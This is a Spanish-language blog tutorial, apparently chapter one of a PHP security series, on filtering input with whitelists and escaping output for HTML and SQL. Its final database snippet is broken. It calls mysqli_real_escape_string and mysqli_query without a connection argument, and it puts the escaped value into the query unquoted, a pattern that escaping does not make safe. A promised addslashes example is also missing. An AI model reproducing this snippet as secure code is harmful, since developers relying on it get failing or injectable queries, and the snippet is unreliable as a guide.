Con esto se refiere a cualquier cosa que pueda ingresar desde fuentes remotas, un ejemplo seria: un cliente enviando un campo de entrada, ¿mas fácil? pues eso es tan simple por lo mismo se llama campo de entrada, pero como dijimos en el seguimiento de datos estos pueden viajar por cabeceras, una cosa que no mencione fue que también pueden estar incluidas las sesiones ya que como las sesiones viajan por el servidor y son devueltas a nosotros ¿se puede considerar como una fuente remota? yo pienso que si, así que mientras podamos filtrar o validar la entrada nosotros ponemos las reglas en nuestras aplicaciones :)

Por eso es mejor crear una lista blanca para filtrar datos que una lista negra de cosas que no queremos que estén en nuestra entrada, con esto me refiero a que imagines, que tu digas, NO QUIERO tal cosa y tal cosa en mi aplicación seria mas difícil saber que no quieres, simplemente por que esta lista no terminaría, ya que agregarías nuevas cosas mas adelante, pero, si puedes poner una lista de lo que SI QUIERES de esa manera solo esa lista esta disponible entonces aunque sea una cosa nueva mientras no este en lo que quieres no pasara desapercibido.

Un ejemplo seria un nombre de usuario donde solo aceptas caracteres alfanuméricos:

<?php
$clean = array();
if(ctype_alnum($_POST['usuario'])){
$clean['usuario'] = $_POST['usuario'];
}
?>

Una cosa interesante aquí es que estoy usando una función en lugar de expresiones regulares, esto lo hago por que es mas segura ya que es menos propensa a contener errores que las expresiones regulares, esto no significa que no podamos poner expresiones regulares seguras ya que no es así.

Escapar las salidas

No se si algún día habrán escuchado de magic_quotes, ahora esta obsoleta en php 5.3.0 y eliminada en php 5.4.0, esto lo que hacia era limpiar la entrada cuando agregaran comillas, aunque aveces no era necesario es por eso que también producía errores y fue eliminada ya que muchos usuarios piensan que esto filtraba todo, esto hace lo mismo que la función addslashes():





Otro ejemplo seria el anterior del usuario donde se filtraba la entrada pero no la salida, aunque es seguro ya que la entrada es segura no queda de mas también escapar la salida...

<?php
$html = array();
$html['usuario'] = htmlentities($clean['usuario'],ENT_QUOTES,'UTF-8');
echo "Bienvenido de nuevo, {$html['usuario']}";
?>


Por ultimo veamos el de base de datos, donde se puede inyectar código SQL si no escapamos los datos correctamente:

<?php
$mysql = array();
$mysql['usuario'] = mysqli_real_escape_string($clean['usuario']);
$sql = "SELECT * from perfil WHERE usuario={$mysql['usuario']}";
$resultado = mysqli_query($sql);
?>


Una manera de identificar salidas es buscando en nuestro codigo:


echo
print
printf
<?=

Hasta aquí va el primer capitulo espero que les haya gustado, preguntas y sugerencias para esta parte y no para la próxima la pueden hacer abajo.

Referencias:
* Essential PHP Security
* Documentación oficial de PHP
* Wikipedia
* UNAM